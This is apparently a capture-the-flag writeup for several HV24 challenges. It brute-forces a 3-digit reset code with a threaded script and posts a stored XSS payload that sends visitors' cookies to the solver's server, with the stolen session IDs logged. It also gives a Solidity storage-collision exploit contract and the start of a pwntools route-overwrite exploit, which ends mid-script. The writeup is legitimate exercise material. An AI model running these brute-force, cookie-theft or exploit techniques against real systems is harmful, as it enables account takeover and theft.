Throwing the binary in IDA, we see the typical chaos of C++ code… When we try to run the
binary, it more or less immediately exists. We have Antidebug/AntiVM right at the beginning, that
we can patch with NOPs.
Further down we see the iteration of sub directories for files of format “sclaus_*.txt” and calls
into crypto code which perform AES256-GCM encryption (obviously on the file contents), writes
the file contents out and then curls the encryption key to a secret web site. (Monitoring the
execution gives away it’s the encryption key)
Debugging through the code we can see how the file contents is encrypted, the new file is
created, filled with a certain structure and once everything is done, the encryption key is send
out via curl to https://grimble.christmas/save_key

Much to our surprise the website is actually still live


And has an active robots.txt

Unfortunately the /admin URL is password protected:


We can try SQLi and various other approaches, but in the end, it’s all in vain.

But maybe we can reset the password?

We already understood grimble is our main villain, unfortunately we cannot reset his pw. We try
our best with Twinkle.
But all we get is a “MFA” login with a 3 digit code and we only have ONE try…

Now we need to brute the password of an elf. We randomly choose Twinkle again:
import requests
import threading
import sys

# Define the URLs and the reset code


initial_url = "https://grimble.christmas/admin/forgot/?username=Grimble"
reset_code = "666"
invalid_message = "That code is invalid"
attempt = 1

def reset_password():
# Initialize a session to maintain cookies and session data
session = requests.Session()
attempt=1
while attempt<500:
try:
# Step 1: Perform the initial GET request
print(f"{attempt}: Starting GET request to:", initial_url)
attempt+=1
response = session.get(initial_url, allow_redirects=True)

# Step 2: Check if the redirect leads to /admin/forgot/code-entry/


if "/admin/forgot/code-entry/" in response.url:
# Prepare the POST data
post_data = {"reset_code": reset_code}
# Step 3: Send the POST request using the same session
post_response = session.post(response.url, data=post_data)

# Step 4: Check if the response contains the invalid message


if invalid_message in post_response.text:
pass
else:
print("Success! Code is valid.")
print(post_response.text)
sys.exit(1)
break # Exit the loop if the code is valid

else:
print("Unexpected redirection or URL:", response.url)
break # Exit if redirection is not as expected

except requests.RequestException as e:
print(f"An error occurred: {e}")
break # Exit on request errors

# Run the reset_password function


def main():
# Number of threads
num_threads = 10

# Create and start threads


threads = []
for i in range(num_threads):
thread = threading.Thread(target=reset_password, name=f"Thread-{i+1}")
threads.append(thread)
thread.start()

# Wait for all threads to complete


for thread in threads:
thread.join()
print("All threads have completed.")

# Run the main function


if __name__ == "__main__":
main()

This will, after some seconds, output us the page once the MFA has been guessed correctly and
a temporary password
<body class="bg-light position-relative">
<!-- Decorations -->
<img src="/images/christmas-corner-decoration.png" alt="Decoration Left"
class="top-decoration decoration-left">
<img src="/images/christmas-corner-decoration.png" alt="Decoration Right"
class="top-decoration decoration-right">

<div class="container my-5">


<!-- Page Title -->
<div class="text-center mb-4">
<h1 class="display-4">Code Entry</h1>
<p>We've sent an email to the email address associated with your
account with a random 3-digit reset code.</p>
</div>

<div class="d-flex justify-content-center">


<div style="max-width: 400px; width: 100%;">
<div class="alert alert-success">Success! Your temporary
password has been set to: KUesxvAXRhuO</div>
<p>You can now log into your account via the <a
href="/admin/login/">login</a> page.</p>
</div>
</div>
</div>

We login as Twinkle and are now able to post comments… A very quick test shows us it’s XSS
time!

We catch the XSS using:


python3 -m http.server 45454

And once we enter the following comment as Twinkle:


<script>
fetch('http://myserver:45454/process?test=' + document.cookie);
</script>
We can see cookies raining…
119.42.55.96 - - [10/Dec/2024 14:16:21] "GET
/process?test=PHPSESSID=b538baccf4587d96e265d0719e921072 HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:16:21] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:17:31] "GET


/process?test=PHPSESSID=58616b5114a840cf5c319859474a7cc8 HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:17:31] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:18:38] "GET


/process?test=PHPSESSID=c24c868654b791def6e751c7a59f1e5d HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:18:38] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:19:55] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:19:55] "GET


/process?test=PHPSESSID=2e1d3145163c6a0f636bd6cec40b870f HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:21:22] "GET


/process?test=PHPSESSID=d73ec7a7d477aa032a51fd5a0971821a HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:21:22] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:22:39] "GET


/process?test=PHPSESSID=f2de1924b6a238c11fbcaac71d5c5a9d HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:22:39] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:23:53] "GET


/process?test=PHPSESSID=6f83d95a8cced005c988e6b0fec558c6 HTTP/1.1" 404 -

119.42.55.96 - - [10/Dec/2024 14:23:53] "GET


/process?test=XSS_vulnerability_confirmed HTTP/1.1" 404 -
Those are the requests from the various visitors of the webpage… We can try every session
cookie by injecting it into Burp and see whose identity we assumed by surfing to /admin.

Eventually Grimble will show up too and once we replace our cookie value with his in Burp we
see:

Where we can see Sclaus’ encryption key!


sclaus / c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde7
mshchadov / eb240708ca059aa221c1ecda1dbd5a64ec2cf4da92bd75a04ae4982770c9cd1a
squattinginc / d8f77568d1ed5a2298a85971b4635a46b292e0e4799086c69831ced541a535ec
easterbunny / b90dc5e8d8257911dbfa92453ce4a5b0ff8bc790298dd08fb8df860372e9600e
So we now have the encryption key. Now we need to understand the actual fileformat.

We RE the binary again and create a dummy file with known meta-data and content that we can
encrypt. At the end, where the file is written via a sequence of write() calls we inspect the
variables and can deduce the structure.

Key =
99 CF B6 5B 01 CC F2 56 E7 16 4E 86 68 42 B6 A3 1E C5 0C 91 90 14 93 EE 8C F7 6D
9D 57 70 C6 D6

Unknown: 16 21 58 F1 13 CA 62 E9 AD 04 E6 CB 00 00 00 00

Crypto blob: 11 C6 76 F5 31 FE BA 45 E2 B4 70 1B FA 54 BA 05

11 C6 76 F5 31 FE BA 45 E2 B4 70 1B FA 54 BA 05
A1 B5 BC FF 30 15 66 D9 49 F1 75 1C 0B 50 17 DE
AB 1F 4D 68 16 CC C4 F1 38 74 9A 6E 1B FC 85 7B
C5 D0 98 4A 3B 53 A7 E7 1B 52 9D C9 2C 1F 67 30
00 74 CB B7 C6 23 AF 1E FC A7 AE EF 45 5C 54 72
AD C0 77 72 29 4F 56 55 53 19 8E 7A D1 5A 93 A5
9F E7 D3 A0 64 F6 BB 65

IV: 5E A3 00 DA 1C 6A 0A 7F 57 AA E7 1E 57 4B 3D E2

00000000 47 52 49 4d 42 4c 45 68 00 00 00 00 00 00 00 15 |GRIMBLEh........|
00000010 00 73 63 6c 61 75 73 5f 6d 79 74 65 73 74 66 69 |.sclaus_mytestfi|
00000020 6c 65 2e 74 78 74 16 21 58 f1 13 ca 62 e9 ad 04 |le.txt.!X...b...|
00000030 e6 cb|11 c6 76 f5 31 fe ba 45 e2 b4 70 1b fa 54 |....v.1..E..p..T|
00000040 ba 05 a1 b5 bc ff 30 15 66 d9 49 f1 75 1c 0b 50 |......0.f.I.u..P|
00000050 17 de ab 1f 4d 68 16 cc c4 f1 38 74 9a 6e 1b fc |....Mh....8t.n..|
00000060 85 7b c5 d0 98 4a 3b 53 a7 e7 1b 52 9d c9 2c 1f |.{...J;S...R..,.|
00000070 67 30 00 74 cb b7 c6 23 af 1e fc a7 ae ef 45 5c |g0.t...#......E\|
00000080 54 72 ad c0 77 72 29 4f 56 55 53 19 8e 7a d1 5a |Tr..wr)OVUS..z.Z|
00000090 93 a5 9f e7 d3 a0 64 f6 bb 65 5e a3 00 da 1c 6a |......d..e^....j|
000000a0 0a 7f 57 aa e7 1e 57 4b 3d e2 |..W...WK=.|
000000aa

Turns out, what I thought the IV is, is a so-called ‘tag’ value in AES-GCM and our IV is indeed the
“Unknown” value of length 12 bytes.

By having all the data we can try to write a decryptor for our testfile:

from Crypto.Cipher import AES


import binascii

# Test data
key =
binascii.unhexlify('99CFB65B01CCF256E7164E866842B6A31EC50C91901493EE8CF76D9D5770C6D
6')
cryptoblob =
"11C676F531FEBA45E2B4701BFA54BA05A1B5BCFF301566D949F1751C0B5017DEAB1F4D6816CCC4F138
749A6E1BFC857BC5D0984A3B53A7E71B529DC92C1F67300074CBB7C623AF1EFCA7AEEF455C5472ADC07
772294F565553198E7AD15A93A59FE7D3A064F6BB65"
data = binascii.unhexlify(cryptoblob)

nonce = binascii.unhexlify("162158F113CA62E9AD04E6CB")
tag = binascii.unhexlify("5EA300DA1C6A0A7F57AAE71E574B3DE2")
cipher = AES.new(key, AES.MODE_GCM, nonce)
print(cipher.decrypt_and_verify(data, tag))

So now we can be sure about the format:

GRIMBLE|8 bytes original filesize|2 byte filename length|filename|IV|Cryptoblob|Tag

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'99CFB65B01
CCF256E7164E866842B6A31EC50C91901493EE8CF76D9D5770C6D6'%7D,%7B'option':'Hex','
string':'162158F113CA62E9AD04E6CB'%7D,'GCM','Hex','Raw',%7B'option':'Hex','string':'5EA300
DA1C6A0A7F57AAE71E574B3DE2'%7D,%7B'option':'Hex','string':''%7D)&input=MTFDNjc2RjUz
MUZFQkE0NUUyQjQ3MDFCRkE1NEJBMDVBMUI1QkNGRjMwMTU2NkQ5NDlGMTc1MUMwQjU
wMTdERUFCMUY0RDY4MTZDQ0M0RjEzODc0OUE2RTFCRkM4NTdCQzVEMDk4NEEzQjUzQTdF
NzFCNTI5REM5MkMxRjY3MzAwMDc0Q0JCN0M2MjNBRjFFRkNBN0FFRUY0NTVDNTQ3MkFEQz
A3NzcyMjk0RjU2NTU1MzE5OEU3QUQxNUE5M0E1OUZFN0QzQTA2NEY2QkI2NQ

Let’s write a quick decryptor:

import struct
import os
import glob
from Crypto.Cipher import AES
import binascii
def parse_file(file_path):
with open(file_path, "rb") as f:
print(f"parsing {file_path}")
# Read the start identifier
start = f.read(7).decode("ascii") # "GRIMBLE" is 7 characters

# Read the original filesize (8 bytes, little-endian)


ori_len = struct.unpack("<Q", f.read(8))[0]

# Read the filename size (2 bytes)


filename_len = struct.unpack("<H", f.read(2))[0]

# Read the filename


filename = f.read(filename_len).decode("ascii")

# Read the nonce (12 bytes)


nonce = f.read(12)

# Read the payload (cryptoblob) until the last 16 bytes


file_content = f.read()
cryptoblob = file_content[:-16]

# Read the last 16 bytes as the tag


tag = file_content[-16:]

# Print the extracted variables as hex strings


print(f"start: {start}")
print(f"ori_len: {ori_len:#x}") # Display as a hex number
print(f"filename_len: {filename_len:#x}")
print(f"filename: {filename}")
print(f"nonce: {nonce.hex()}")
print(f"cryptoblob: {cryptoblob.hex()}")
print(f"tag: {tag.hex()}")
key =
binascii.unhexlify("c0a1c0de2024eec920ae576734e59197ccbd1ec2d8c47fd1509e69b56efefde
7")
#nonce = binascii.unhexlify(nonce)
#tag = binascii.unhexlify(tag)
data = cryptoblob #binascii.unhexlify(cryptoblob)
cipher = AES.new(key, AES.MODE_GCM, nonce)
with open(filename, "wb") as f:
f.write(cipher.decrypt_and_verify(data, tag))

def process_files(directory="."):
# Find all files starting with 'sclaus_' and ending with '.locked' in the
specified directory
search_pattern = os.path.join(directory, "sclaus_*.locked")
files = glob.glob(search_pattern)

# Process each matching file


if not files:
print("No matching files found.")
return

print(f"Found {len(files)} matching files.")


for file_path in files:
parse_file(file_path)

# Example usage
process_files()

we get a lovely directory listing


daubsi@playbox:/tmp/sclaus$ zbarimg sclaus_bauble.png
QR-Code:HV24{N3v3rPayTh3RaNs0mDuMMy!}
scanned 1 barcode symbols from 1 images in 0.03 seconds

Flag: HV24{N3v3rPayTh3RaNs0mDuMMy!}
[HV24.11] Christmas Dots

Introduction

Santa was reading through wishes from children, when he suddenly found this very suspicious,
colorful image. Can you help him decode it?

Analyze the image and get the flag.

Flag format: HV24{}

sha256sum of the
image: f9709b6bc7728d57f961f7fc04338ddafc96dac07c99ac8f40741e69c1051c66

Solution:

Doing some OSINT we can see it’s a “Cronto” code, a RGB code for banking transaction details.
Cronto was a UK based company which has been acquired by onespan.com.

We create a dummy account on the site in order to access products/documentation and the
code-share section.

Image Scanner SDK: https://docs.onespan.com/v1/docs/mss-pg-image-generator-sdk-and-


image-scanner-sdk-overview-4-36-0
After registration to the Portal we can download the Image Scanner SDK here:

https://community.onespan.com/products/mobile-security-suite/sdks

It features an Android and iOS app.

After unpacking we need to ensure that the QRCodeScannerSDK.aar is placed into


Android/sample/app/aars (from Android/bin) and then we can build the project with Android
Studio and deploy it to an Android smart phone (does not need to be rooted).

We can even nicely debug the sample code.


Which as Hex Ascii yields our flag:

485632347b6372306e74305f7233765f63306e67723474737d

Flag: HV24{cr0nt0_r3v_c0ngr4ts}

Alternative approach using Onespan Demo App:

https://community.onespan.com/forum/where-download-latest-version-demo-app

https://gs.onespan.cloud/downloads/

It’s a testflight app, we can install it from the beta store

Going into the application log section yields a surprise as well 


Flag: HV24{cr0nt0_r3v_c0ngr4ts}
[HV24.12] Santa's Proxy Puzzle

Introduction

Unwrap a festive smart contract vulnerability where storage regions become your playground
and holiday cheer meets digital mischief. Ho ho ho... or is it hax hax hax?

Start the service, analyze the resource and get the flag.

Flag format: HV24{}

sha256sum of sources.zip:
8c492e26ccbb59ebe28b0fe75d479759e18dc4836271cc03205e641e2792e00a

Solution:

Todays challenge is about a custom Ethereum blockchain running in a docker.

The goal is in the end to set your ID in the “ADMIN_SLOT” in the proxy contract, in this case the
webpage will give the flag once the button at the bottom is clicked.

The sources for four contracts (Proxy.sol, Wallet1.sol, Wallet2.sol, Wallet3.sol) are given and the
addresses where those are located in the block chain (== the address where they call be
instantiated/called)

Proxy.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Proxy {
bytes32 internal constant ADMIN_SLOT =
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
bytes32 internal constant IMPLEMENTATION =
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb;

constructor(address _implementation) {
address admin = msg.sender;

assembly {
sstore(ADMIN_SLOT, admin)
sstore(IMPLEMENTATION, _implementation)
}
}

function getAdmin397fa() public view returns (address) {


bytes32 slot = ADMIN_SLOT;
bytes32 admin;
assembly {
admin := sload(slot)
}
return address(uint160(uint256(admin)));
}

function setAdmin17e0(address newAdmin) public {


require(msg.sender == getAdmin397fa(), "nope");
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}

function getImplementation1599d() public view returns (address) {


bytes32 slot = IMPLEMENTATION;
bytes32 implementation;
assembly {
implementation := sload(slot)
}
return address(uint160(uint256(implementation)));
}

function setImplementation743a(address newImplementation) public {


require(msg.sender == getAdmin397fa(), "nope");
bytes32 slot = IMPLEMENTATION;
assembly {
sstore(slot, newImplementation)
}
}

function _delegate() private {


address implementation = getImplementation1599d();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0,
0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

fallback() external {
_delegate();
}

receive() external payable {


_delegate();
}
}

Wallet1.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

contract Wallet1 {
address private owner;

event Distributed(address recipient);


event OwnerChanged(address newOwner);

modifier nonreentrant() {
assembly {
if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
// Unlocks the guard, making the pattern composable.
// After the function exits, it can be called again, even in the same
transaction.
assembly {
tstore(0, 0)
}
}

modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}

function initialize59ad(address _owner) public {


require(owner == address(0), "nope");
owner = _owner;
}

function distribute38c1b(address recipient) public onlyOwner nonreentrant {


(bool success,) = payable(recipient).call{value: 0.5 ether}("");
require(success, "Recipient should accept ether");
emit Distributed(recipient);
}

function changeOwner1da7b(address newOwner) public onlyOwner nonreentrant {


owner = newOwner;
emit OwnerChanged(newOwner);
}

function getOwner15569() public view returns (address) {


return owner;
}

receive() external payable {}


}

Wallet2.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Wallet2 {
address private owner;

event Gifted(address recipient);


event OwnerChanged(address newOwner);

modifier onlyOwner() {
require(msg.sender == owner, "nope");
_;
}

function initialize59ad(address _owner) public {


require(owner == address(0), "nope");
owner = _owner;
}

function gift1a6e9(address recipient) public onlyOwner {


(bool success,) = payable(recipient).call{value: 0.5 ether}("");
require(success, "Recipient should accept ether");
emit Gifted(recipient);
}

function changeOwner1c104(address newOwner) public onlyOwner {


owner = newOwner;
emit OwnerChanged(newOwner);
}

function getOwner15569() public view returns (address) {


return owner;
}

receive() external payable {}


}

Wallet3.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Wallet3 {
address private owner;
bytes32[] private notes;

event NoteAdded(bytes32 note, uint256 index);


event Sent(address recipient);

modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}

function initialize59ad(address _owner) public {


require(owner == address(0), "nope");
owner = _owner;
}

function send47de(address recipient) public onlyOwner {


(bool success,) = payable(recipient).call{value: 0.5 ether}("");
require(success, "Recipient should accept ether");
emit Sent(recipient);
}
function addNote3dee(bytes32 note) public onlyOwner {
notes.push(note);
emit NoteAdded(note, notes.length - 1);
}

function getOwner15569() public view returns (address) {


return owner;
}

function getNote179e(uint256 index) public view returns (bytes32) {


return notes[index];
}

receive() external payable {}


}

First things first. Let’s setup our environment!


(The following screenshots already show the results of the performed steps)

 First, we need the “Metamask” Chrome browser extension


 Then we need to add the challenge network
 Then we need to import our account
 Then we can use Remix IDE (Web based Blockchain Management and Dev UI) to create
code/a contract to solve the challenge and deploy it to the blockchain

Installing the extension should be straight forward. Go to


https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn?hl
=en and click on “Add to Chrome”. This will install the Metamask wallet. Run through the setup
steps that might appear.

Next, we add the network. Our challenge runs only in the docker container self-contained. The
Blockchain RPC address we need to interact is shown on the challenge page:

(Of course this URL changes on every docker lifetime-cycle and needs to be changed in
Metamask accordingly)

 Open the metamask plugin

Click on the button in the top left corner


Click “Add a custom network” on the bottom of the popup

Enter the RPC URL and an arbitrary name (e.g. HV24):

We will need to know the proper chain ID of the network.

This can be found with a small helper script:


daubsi@bigigloo  /tmp  cat getnet.js
const {Web3} = require('web3');
const web3 = new Web3('https://c204ad5a-c680-4130-ae3f-
01a992f28e70.i.vuln.land/rpc');

(async () => {
const chainId = await web3.eth.getChainId();
console.log('Chain ID:', chainId);
})();

daubsi@bigigloo  /tmp  node getnet.js


Chain ID: 31337

(You might need to do a “npm install web3” before you can run the script if you’ve never
installed the web3 stu )

So our chainID is 31337 and we enter it in the dialog.

The last thing we need is a currency. Enter anything, it doesn’t matter.


The network should now be available in the UI

Select the network (via the drop down box in the main plugin view) to make it active and now
let’s import our account that we have been given in the challenge (“Your private key”).

Click the downward arrow at the top

And click on “Add account or hardware wallet”


We want to “Import account”

Enter the “private key” value from the challenge page here and click “Import”

Now the Metamask setup is done!

Let’s turn to Remix IDE!

Open https://remix.ethereum.org in Chrome and the web-based IDE will open.

Select the “Deploy” icon on the left hand navigation bar (3rd from the top)

In the “Environment” combobox select “Injected provider – metamask”

Once you have selected this, “Custom (31337) network” needs to be shown below and the
account needs to be prepopulated with the account you just imported. If this is not the case,
first try reloading the IDE and/or restarting the browser.
If it still does not work, check the Metamask settings like so:

Click on the three dots in the top right corner of the plugin and select “All permissions”

Select “remix.ethereum.org”

Click both Edit buttons and make sure a) our network and b) the account is permitted/linked.

(Here: Account 4 (“Imported”) and HV24)

Then reload https://remix.ethereum.org

The correct data should now be shown.


When we now go to the challenge docker page and enter our address in the “Magic” box and
click “Do the magic” withing some seconds we should receive 0.5 ETH

You can get your address by clicking the “Copy” icon in the top middle of the plugin:

Enter here and receive some gas

We can see in Remix, that we now not have 300 Gas but 300.499556… (+0.5 minus a tiny bit for
the execution costs)

Lets now deploy a simple contract:

Select the top icon, open the contracts folder and click on “Create new file”
Enter this code (spoiler, that’s the solution – you can as well select any di erent contract)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

contract MyHack {
address public myaddr;
address public proxyAddr;
address public wallet3Addr; constructor(address _myaddr, address _proxyAddr,
address _wallet3Addr) {
myaddr = _myaddr;
proxyAddr = _proxyAddr;
wallet3Addr = _wallet3Addr;
} receive() external payable {
bytes memory data1 = abi.encodeWithSignature("addNote3dee(bytes32)",
myaddr);
bytes memory data2 = abi.encodeWithSignature("addNote3dee(bytes32)",
wallet3Addr); for (uint256 i = 0; i < 11; i++) {
// Perform the low-level call
if (i == 5) {
(bool success, bytes memory result) = proxyAddr.call(data2);
// Check if the call was successful
require(success, "Call failed");
} else {
(bool success, bytes memory result) = proxyAddr.call(data1);
// Check if the call was successful
require(success, "Call failed");
}
}
}
}

Now click on Compile (3rd button from the top on the left)
And then select the “Deploy” tab again:

Under “Contract” we select the freshly compiled contract. According to the code, the
constructor expects 3 values (addresses), that we need to specify here. _myaddr is our own
address (the account value we just used for receiving funds), _proxyaddr and _wallet3addr can
be seen on the docker challenge page.
Click on Deploy (Screenshot aboves shows the already deployed contact, but on the first
attempt it’s “Deploy”)

Metamask will popup and ask you for permission.


Click “Confirm”

The activity should succeed

Under “Deployed contracts” we should now see our contract and the address that has been
calculated on the blockchain for it (the value right next to the name of the contract)
We can now use this address: 0x360B0B52025095275702d094Fce7C0d6087E3676 to actually
call the contract using code

If anything fails, make sure the container has not actually expired ;-)

If the container expired, all you need to do is to replace the RPC Url in Metamask, the rest
should stay as it is, also the addresses for the contracts etc. stay static.

If there are problems deploying the contract, e.g. due to an expired container, you might need to
flush the queues:
Go to Settings  Advanced:
Click on “Clear activity tab data” to flush the current queue. New deployments should now
work.

OK… now what is the idea to solve the challenge?

First we need to get some insights.

In Proxy.sol we see that in the construction an admin and implementation is set and stored at
the addreses ADMIN_SLOT and IMPLEMENTATION.

We can query those values using the functions getAdmin397fa() and getImplementation1599d()

The idea is to provoke a storage collision, which means, that instead of writing into the memory
of the contract which is in “implementation” memory of “Proxy” is overwritten. This is possible
because the Proxy is implemented “wrong”.
function _delegate() private {
address implementation = getImplementation1599d();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0,
0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

fallback() external {
_delegate();
}

receive() external payable {


_delegate();
}

Details: https://ethereum-blockchain-developer.com/110-upgrade-smart-contracts/06-
storage-collisions/
We can trick Proxy in calling Wallet3.addNote() but addNote() won’t write into the contract’s
local Wallet3.notes[] array but instead write into the memory of Proxy!

But where in Proxy? At the same address where note[] is allocated in Wallet3.

OK, but… what? And what address is this? Let’s ask our friend Chat GPT
Now this is interesting!

If we look at the address of IMPLEMENTATION we have:


0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb

That’s kind of a strange address.

But actually… if you understand that keccak256(1) ==


b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6, then it means it is
the same address as the 5th element of a dynamic variable in the 1st slot. (keccak256(1)+5 ==
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb)

This chosing is prone to a storage collision attack, which means if we have code which writes to
a dynamic variable in slot1 this code might – if it stored > 5 elements – overwrite our
implementation value!

But thinking one step ahead: What is the value of ADMIN_SLOT, which we eventually want to
control? It’s 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00 which
is…. keccak256(1)+10!

So writing 10 elements of a dynamic variable might let us control the value in ADMIN_SLOT.

So it’s now clear that those slot addresses have all been chosen purposefully.

So where do we have code which could be used to do this?


Where do we have code which writes to a dynamic array defined in slot 1?

Wallet 1? No, no dynamic variables


sources head Wallet1.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

contract Wallet1 {
address private owner;

event Distributed(address recipient);


event OwnerChanged(address newOwner);

modifier nonreentrant() {

Wallet 2? No, no dynamic variables


sources head Wallet2.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Wallet2 {
address private owner;

event Gifted(address recipient);


event OwnerChanged(address newOwner);

modifier onlyOwner() {

Wallet 3? Yes!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Wallet3 {
address private owner;
bytes32[] private notes;

event NoteAdded(bytes32 note, uint256 index);


event Sent(address recipient);
..

function addNote3dee(bytes32 note) public onlyOwner {


notes.push(note);
emit NoteAdded(note, notes.length - 1);
}
Using addNote we might be able to control “bytes32[] private notes” but addNote can only be
called by “onlyOwner” which is:
modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}
But… tx.origin… the origin is Proxy.sol and the owner matches, so if we call the contract’s
function addNote() via the Proxy we are able to write to notes!

So, if we call addNote 10x via the proxy we could overwrite the value stored in the ADMIN_SLOT
and win!
But there is one caveat: We cannot just blindly call the function 10x with our owner ID to
overwrite the ADMIN_SLOT but we must take care to NOT overwrite the IMPLEMENTATION_SLOT
with our owner because this has to stay at Wallet3, otherwise we cannot call addNote()
anymore!

We can achieve our goals by writing a contract which does all of this in one step. This contract
needs to be deployed and we need to specify it’s address in the WebUI to receive funds
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

contract MyHack {
address public myaddr;
address public proxyAddr;
address public wallet3Addr;

// Set the values according to what we need


// _myaddr = Our own account address
// _proxyAddr = The address of the proxy contract
// _wallet3Addr = The address of the Wallet3 contract to restore/keep
constructor(address _myaddr, address _proxyAddr, address _wallet3Addr) {
myaddr = _myaddr;
proxyAddr = _proxyAddr;
wallet3Addr = _wallet3Addr;
}

// This function will be called when we receive the funds donation


receive() external payable {
// data1 = function + argument to call: addNote3dee with note=myaddr
bytes memory writeNoteMe = abi.encodeWithSignature("addNote3dee(bytes32)",
myaddr);
// data2 = function + argument to call: addNote3dee with note=myaddr
bytes memory writeNoteWallet3 =
abi.encodeWithSignature("addNote3dee(bytes32)", wallet3Addr);

// Call addNote in a row


for (uint256 i = 0; i < 11; i++) {
// Perform the low-level call
if (i == 5) {
(bool success, bytes memory result) =
proxyAddr.call(writeNoteWallet3);
require(success, "Call failed");
} else {
(bool success, bytes memory result) = proxyAddr.call(writeNoteMe);
// Check if the call was successful
require(success, "Call failed");
}
}
// We’ve now written Me,Me,Me,Me,Me,Wallet3,Me,Me,Me,Me,Me,Me to the
address of IMPLEMENTATION via the buggy proxied call to addNote(). The last call
actually overwrites the memory of ADMIN_SLOT making us the admin
}
}

We compile and deploy the contract using Remix (see start of this solution) and enter the
contract ID we receive after deployment into the WebUI. If we “Fund us” exactly when Wallet3 is
rotated into Proxy’s IMPLEMENTATION variable our code will overwrite the variables and we’re
admin and can then receive the flag.
Flag: HV24{SANT4_MIN3S_BL0CKS_4_MERRYC01NS}
[HV24.13] Server Hypervisor
Introduction

In order to a ord all the presents this year, Santa wanted to start his own little SaaS business, as
he had heard that they were quite profitable. He decided to build his own custom web server
hypervisor. But he suspects that some evil force may have punched a few holes in his perfect
defense. Can you help him find them?

Start the service and get the flag.

Flag format: HV24{defeated_again_next_ me_i'll_use_docker}

sha256sum of resource.zip:
2864f97255544306c200b79da4e11e33717392612bee661d11018f688fc903b9

Solution:

Our server is a standard Linux ELF binary written in C.

The idea here is to flood all available routes with uploads so we can send our special payload.

Once this is done we can send the addresses we want to be set/overwrite the existing routes.

If this succeeds we can then just instrument those new routes to get the flag:
...
# Overwrite routes
upload_file("code/flag.txt", file_response_address)
upload_file("upload", chroot_address)
upload_file("..", chdir_address)
upload_file(".", chroot_address)

#list_routes()

get_route("upload")
get_route("..")
get_route("..")
get_route(".")
get_route("code/flag.txt", True)
...

Full script:
import requests
import base64
import time
import os
import http.client
from pwn import *

def list_routes():
response = requests.get(admin_url, headers=HEADERS)
if response.status_code == 200:
print("Routes:")
print(response.text)
else:
print(f"Error {response.status_code}: {response.text}")

# Send a POST request to upload a file


def upload_file(fileName=None, fileSize=None):
#if not os.path.exists(file_path):
# print("File not found:", file_path)
# return

#with open(file_path, "rb") as file:


file_content = b"santa"

encoded_path = base64.b64encode("santa".encode()).decode()
headers = HEADERS.copy()

headers["file"] = encoded_path
if fileName:
fileName += "\x00"
headers["file"] = base64.b64encode(fileName.encode()).decode()

headers["File-Size"] = str(len(file_content))
if fileSize:
headers["File-Size"] = str(fileSize)

response = requests.put(admin_url, data=file_content, headers=headers)


if response.status_code == 200:
print("File uploaded successfully:", response.text)

def add_route(path, file_path):


params = {"path": path, "file": file_path}
response = requests.post(admin_url, headers=HEADERS, params=params)
if response.status_code == 200:
print(f"Route added successfully {path} {file_path}")
else:
print(f"Error {response.status_code}: {response.text}")

def get_route(path, resp=None):

connection = http.client.HTTPConnection(server, 9002)


connection.request("GET", path)
if not resp:
return
response = connection.getresponse()
print(f"Response [{response.status}]: {response.read().decode()}")

if __name__ == "__main__":

server = "localhost"
port = 9000
portweb = 9002

admin_url = f"http://{server}:{portweb}/admin"
HEADERS = {"Admin-Token": "token"}

conn = remote(server, port)


elf = ELF("main")
libc = ELF("libc.so.6")

conn.recvuntil(b' > ')


conn.sendline(b"1")
conn.recvuntil(b': ')
conn.sendline(b"santa")
conn.recvuntil(b' > ')
